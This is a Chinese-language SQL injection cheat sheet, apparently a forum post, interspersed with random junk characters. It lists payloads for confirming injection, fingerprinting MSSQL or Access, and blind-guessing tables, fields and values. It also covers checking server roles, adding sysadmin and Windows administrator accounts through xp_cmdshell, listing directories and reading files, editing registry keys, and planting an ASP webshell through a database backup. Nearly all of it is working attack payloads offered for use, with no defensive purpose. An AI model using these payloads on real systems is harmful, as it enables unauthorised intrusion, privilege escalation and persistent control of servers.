手工脚本注入
9 \. F2 D4 v, R1.判断是否有注入;and 1=1 ;and 1=2
' c+ J( d5 C+ X, l* X
% Y; L( s1 h# o1 a2 y7 B, r7 p2.初步判断是否是mssql ;and user>0
; I3 A# p- n) B9 ~1 u' k
& H8 r9 }% l4 |2 Q* J) C2 t: ]* B3.注入参数是字符'and [查询条件] and ''='
) c( {' R$ t. C( e" L5 s4 g3 ?5 g6 s1 u! Z+ V
4.搜索时没过滤参数的'and [查询条件] and '%25'=' : w# |! j: `: X' G: Y2 N7 e
! v& g- E6 R, M2 {( j) S- p+ I5.判断数据库系统 # H1 q T( }! ^( O% i5 j( o
;and (select count(*) from sysobjects)>0 mssql - l1 U' E: l H+ [
;and (select count(*) from msysobjects)>0 access
z6 k, i( u; i& H' l) \" @" F8 O6 t8 _5 t8 a1 ?
6.猜数据库 ;and (select Count(*) from [数据库名])>0
5 A# q" T, o. s) x, l" j5 o0 q! k: e1 Z
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
& b- u. J: }' D- M+ e0 k
; a, ~, t( M4 ]) s; `* H8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
* ^9 f# E, Q, z t$ `8 r+ @) X- M$ W/ M+ s1 ?% a
9.(1)猜字段的ascii值(access) , k" G0 p# r4 J3 K5 W
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 * N7 S0 x6 m- u! f; ^" e
) r0 R" E9 x; m F(2)猜字段的ascii值(mssql) * r0 H6 h! t0 }/ B a
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ! O/ P- s8 o7 D$ z
" N% N) c7 D" X, j( K
10.测试权限结构(mssql) u$ z/ V. ]& |* r* \/ y
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
, N1 w# y- h0 U. u$ V;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- - f1 Q4 l! M2 J+ M
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- . ^/ C" K0 g: G2 y9 D \, j. m7 H
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 1 l4 Y! b( L4 P) T/ W
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- O: a8 X: t( W& ]% d
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- + M& n* W( V4 R8 s K: _
;and 1=(select IS_MEMBER('db_owner'));--
% O6 ^# G' x1 D. m* W% @* t
' t6 N! B) x% R& q2 q1 I. e0 R11.添加mssql和系统的帐户 % o2 r2 [* u- `8 r
;exec master.dbo.sp_addlogin username;--
& [6 U# K/ p9 C3 G0 P
2 A# `9 ^5 N6 E( M2 J$ n2 ];exec master.dbo.sp_password null,username,password;--
0 U0 _" D: u# q9 {# n+ P5 g0 K& q4 L9 Y- f9 H% J7 \1 \" I+ o% ~/ Q
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- & y; \: _. b( D- L; x
, L# L1 C7 N8 n, O
;exec master.dbo.xp_cmdshell 'net user username password 2 k1 K& ^; `/ z! G# g& {9 R
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 4 C. _, [7 i; G* |) f V
1 o0 G* P. x4 Z0 c
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 5 p$ ?2 @) ~& o1 F( P
" s# E& h5 j0 O D5 L' b
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ( u: A. K" D: u% r! ]. V7 d: |: ^
/ b" a) k9 B! u8 ?1 ~) l12.(1)遍历目录 7 c" j; j# K: K. Z9 T
9 t" K, h4 r+ q- M;create table dirs(paths varchar(100), id int)
4 V7 @& r2 M- C' ^;insert dirs exec master.dbo.xp_dirtree 'c:\'
4 } K- l+ S0 g% F8 [2 g;and (select top 1 paths from dirs)>0
M9 z) T& ]# W K' i. f7 M;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
, g$ V U5 z) g# Z7 H
% I6 h( p7 S# R& V P: Y- h(2)遍历目录 ' C4 U7 ?. |0 B/ \% o0 p" _" n: ]
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
. S& y- ?4 S8 q& m;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 3 |/ L. }) n8 M' e3 X3 ]
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
* ^6 {% @' h8 v3 S9 };insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
8 Z$ D; ?! W# f. ^( {( u;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
$ ]2 y; v! K2 z( s" |: e+ d [4 F) L- R- @$ ~) L0 u& E' B+ [( Y# I
13.mssql中的存储过程 . U" ]9 B2 k( b$ b, U6 e
' P! ?1 o. U4 u5 v \xp_regenumvalues 注册表根键, 子键 5 r) Q7 a: R' Y2 z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 9 _+ w) _5 P" q2 [, ~# d
0 P/ h0 V9 n" m% W) fxp_regread 根键,子键,键值名
5 z. S3 \; x7 _9 w. _& B6 H;exec xp_regread
: \5 b: D! i9 l( |'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
5 [4 @) u3 R S) z; @% e! ~& ^/ q, m$ `$ D: W" I7 s- [
xp_regwrite 根键,子键, 值名, 值类型, 值
! F& @& ^( d, W1 ]. u值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
& s, D; t4 [5 J: {- z- B;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 h* l3 i' O) G
# ?% o& o+ p. W% K; I
xp_regdeletevalue 根键,子键,值名
3 ]. I8 e) T% C$ B& z$ p0 }2 B- p. v* u( ]$ g: G4 {
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
* \) f' I5 i" O9 a' F$ r1 p' T3 `* ]3 T: K) V& x1 A; x9 w) v
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 4 K/ d5 i( c& |6 u0 s! u
% M) Q3 P. G. t14.mssql的backup创建webshell . X# H0 I0 B6 E9 z' B' J8 Z; v9 m
use model . s% T. p6 i$ h
create table cmd(str image);
: s! v1 P% O* H# einsert into cmd(str) values ('');
, d- t, y# `$ N5 W* g: y6 T+ Sbackup database model to disk='c:\l.asp';
+ c y/ H4 y) C
% y! J" {: d- K15.mssql内置函数 \1 K* a* g1 }( I S5 T
;and (select @@version)>0 获得Windows的版本号
p6 T. e: N9 N( j9 a1 v;and user_name()='dbo' 判断当前系统的连接用户是不是sa : C7 s( Z( p$ \" g4 ?
;and (select user_name())>0 爆当前系统的连接用户 3 B1 @9 m7 M! s' ~
;and (select db_name())>0 得到当前连接的数据库
3 Z/ _* y6 h+ F" f4 i- P
1 l& r* f4 q2 {0 N5 H16.简洁的webshell ; A( A0 b7 o' y7 D& `4 J
4 d2 b9 m3 o- a- A' r5 D
use model 8 W' P4 {: f3 s+ y6 Z
1 B* M) n; I6 e) _' Ncreate table cmd(str image); + f( E( b" q& e+ p* c3 k
: A: |# ~, e; z. W. ainsert into cmd(str) values ('');
- c/ [* F3 \- d8 ]
" i6 M- ], ]# e0 [' R1 B# E& |backup database model to disk='g:\wwwtest\l.asp';
+ C% T3 O0 i- F8 M0 }4 Y3 X2 ` ; P* B9 o0 P6 k9 {: F
|